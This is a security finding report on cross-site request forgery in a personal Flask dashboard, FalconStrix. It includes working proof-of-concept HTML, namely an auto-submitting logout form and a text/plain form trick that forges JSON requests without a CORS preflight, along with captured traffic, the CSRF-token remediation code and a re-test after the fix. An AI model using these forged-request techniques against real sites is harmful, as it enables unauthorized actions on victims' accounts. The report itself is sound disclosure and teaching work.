

Security Finding Report

FalconStrix – Cross-Site Request Forgery on State-Changing Endpoints

Report ID	FALSTRX-2026-004
Affected Components	/logout, /api/alerts/manual (and other unprotected POST routes prior to fix)
Vulnerability Class	Cross-Site Request Forgery – CWE-352
Severity	Medium-High – CVSS 3.1: 8.1 (AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N)
Discovered By	Manual black-box testing (Burp Suite) + custom HTML/JS proof-of-concept pages
Environment	Isolated local lab – Windows 11 target, Kali Linux (VMware) attacker
Assessment Dates	25 July 2026
Status	Fixed & Verified

1. Summary

FalconStrix's state-changing endpoints relied solely on the presence of a valid session cookie for authorization, with no CSRF token and no SameSite attribute set on the session cookie. This allowed a malicious external web page to forge authenticated requests on behalf of a logged-in victim, with no interaction beyond the victim visiting the page. Two distinct proof-of-concept techniques were built and verified: a plain auto-submitting HTML form against /logout, and a text/plain-encoded form bypass against /api/alerts/manual that evaded the browser's CORS preflight check.

2. Root Cause

2.1 No CSRF token on state-changing requests

Inspection of captured requests showed POST /logout (empty body) and POST /api/alerts/manual (JSON body with only severity and message) contained no hidden token field and no X-CSRF-Token header of any kind — only the session cookie identified the requester.

2.2 No SameSite attribute on the session cookie

```
Set-Cookie: session=.eJyrVoovSC3KTcxLzStRsiopKk3VUSrKz0LVslIqLU4tUtIBU_GZKUpwphB2XmIuSLYqEShWCwC_RRV_.amRl1Q.IPl0NXegiRXFwjHcmc0BG2rbDqc; Expires=Sat, 25 Jul 2026 19:29:25 GMT; HttpOnly; Path=/
```

No SameSite attribute is present. Without it, browser default behavior for cross-site cookie attachment cannot be relied upon as a defense; the server must supply this attribute explicitly.

3. Steps to Reproduce

3.1 PoC A – Forced logout via plain HTML form

```
<html>
<body onload="document.forms[0].submit()">
<form action="http://192.168.1.7:5001/logout" method="POST"></form>
</body>
</html>
```

Hosted on a separate origin (`http://192.168.30.128:9000`, a different port/host than the target). While logged into FalconStrix in one tab, visiting this page in another tab silently submitted a POST to `/logout`. Burp confirmed a real POST `/logout` reaching FalconStrix at the exact timestamp the page loaded, and the victim session was terminated without ever clicking "Sign out."

3.2 PoC B – Forged alert creation via CORS-preflight bypass

A first attempt using JavaScript `fetch()` with `Content-Type: application/json` triggered a browser CORS preflight (OPTIONS) that FalconStrix answered incorrectly (redirecting to login rather than issuing proper CORS headers), causing the browser to block the real request. A second technique avoided preflight entirely by using a plain HTML form with `enctype="text/plain"`, since `text/plain` is treated as a browser "simple request" type:

```
<form action="http://192.168.1.7:5001/api/alerts/manual" method="POST" enctype="text/plain">
<input name='{ "severity": "CRITICAL", "message": "Forged alert via CSRF text/plain bypass" '
value='' }'>
</form>
<script>document.forms[0].submit();</script>
```

This produced a raw request body that was valid JSON purely as a side effect of how `text/plain` form encoding concatenates field name and value, without triggering a preflight check. The resulting request reached `/api/alerts/manual` directly.

Captured request (with victim's real session cookie attached automatically by the browser):

```
POST /api/alerts/manual HTTP/1.1
Host: 192.168.1.7:5001
Origin: http://192.168.30.128:9000
Content-Type: text/plain
Cookie: session=<victim's real, authenticated session>

{"severity":"CRITICAL","message":"Forged alert via CSRF text/plain bypass="}
```

Response:

```
HTTP/1.1 200 OK
Content-Type: application/json

{"alert_id":180,"ok":true, "snapshot": {...active_alerts contains new entry...}}
```

A new alert was confirmed created on the victim's live dashboard as a direct result of visiting the attacker-controlled page, with zero interaction with FalconStrix's own UI. Note: because FalconStrix's JSON parsing strictly checks `Content-Type: application/json` before parsing the body, the forged alert's specific severity/message content was not applied (the endpoint fell back to a default-content alert) — but the unauthorized state-changing action itself still succeeded, which is the CSRF vulnerability being demonstrated.

4. Impact

- An attacker can force a logged-in victim's browser to perform state-changing actions (session termination, alert creation, and by the same pattern likely alert resolution) with no interaction beyond the victim visiting a malicious or compromised web page.
- The vulnerability is not limited to a single endpoint: any POST route relying solely on the session cookie for authorization was equally exposed prior to remediation.
- The CORS-preflight bypass technique demonstrates that relying on preflight/Content-Type checks alone is not a reliable CSRF defense, since simple-request encodings can route around it.

5. Severity Justification

Factor	Rating	Reasoning
Attack Vector	Network	Exploitable via any web page the victim's browser loads.
Attack Complexity	Low	A static HTML page with an auto-submitting form is sufficient.
Privileges Required	None	Attacker needs no account on FalconStrix at all.
User Interaction	Required	Victim must visit the attacker's page (but need not click anything on it).
Confidentiality Impact	None	No data disclosed to the attacker directly.
Integrity Impact	High	Attacker-forced state changes (forced logout, forged alert creation) on the victim's account.

Estimated CVSS 3.1 vector: AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N → Base Score **8.1 (High)**.

6. Remediation

6.1 Enable CSRF protection globally (gui_dashboard/app.py)

```
app = Flask(__name__)
app.config['SECRET_KEY'] = os.environ.get('FALCON_SECRET_KEY', 'soc_secret_change_me')
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(hours=12)

from flask_wtf import CSRFProtect
csrf = CSRFProtect(app)
```

This turns on CSRF token validation for every POST/PUT/DELETE route by default, and sets the session cookie's SameSite attribute to Lax as an independent, browser-level second layer of defense.

6.2 Expose the token to JavaScript (dashboard.html)

```
<script>
window.FALCON_USER_ROLE = "{{{ user_role or 'user' }}|e}}";
window.FALCON_CSRF_TOKEN = "{{{ csrf_token() }}}";
window.FALCON_USERNAME = "{{{ username or '' }}|e}}";
</script>
```

6.3 Attach the token to every JavaScript POST request (script.js)

```
const csrfHeader = () => ({ 'X-CSRFToken': window.FALCON_CSRF_TOKEN || '' });

// Applied to every fetch() POST call, e.g.:
fetch('/api/alerts/manual', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json', ...csrfHeader() },
  credentials: 'same-origin',
  body: JSON.stringify({ severity, message }),
});
```

The same pattern was applied to the alert-resolve call, the FSM reevaluate call, the auth-lockout clear call, and the audit-log call.

6.4 Add the token to plain HTML forms (login.html, dashboard.html)

```
<form class="login-form" method="post" action="{{ url_for('login') }}">
<input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
...
</form>

<form method="post" action="{{ url_for('logout') }}" class="header-logout-form">
<input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
<button type="submit" class="btn-logout">Sign out</button>
</form>
```

7. Verification (Post-Fix Re-Testing)

Both original proof-of-concept pages were re-run, unmodified, against the patched application while authenticated as a legitimate user.

Re-test of PoC B (/api/alerts/manual):

```
HTTP/1.1 400 BAD REQUEST
Content-Type: text/html; charset=utf-8

<h1>Bad Request</h1>
<p>The CSRF token is missing.</p>
```

Test Condition	Before Fix	After Fix
Forged /logout via auto-submit form	Victim silently logged out	N/A – form now requires a valid token
Forged /api/alerts/manual via text/plain bypass	200 OK – alert created	400 Bad Request – CSRF token is missing
Legitimate in-app actions (login, logout, create, resolve alert)	Working	Still working – token now supplied by app itself

All legitimate application functionality was re-tested after remediation (login, logout, manual alert creation, alert resolution) and confirmed working normally, since the application itself now supplies a valid CSRF token with every relevant request.

8. Testing Environment

- Target: FalconStrix on Windows 11, Flask bound to 0.0.0.0:5001, isolated VMware network.
- Attacker: Kali Linux (VMware), Burp Suite Community Edition, Python's built-in http.server used to host proof-of-concept pages on a separate origin/port from the target.

- All testing performed exclusively against the researcher's own locally-hosted project.

This report documents a self-identified finding in a personal project, produced for educational / responsible-disclosure practice purposes.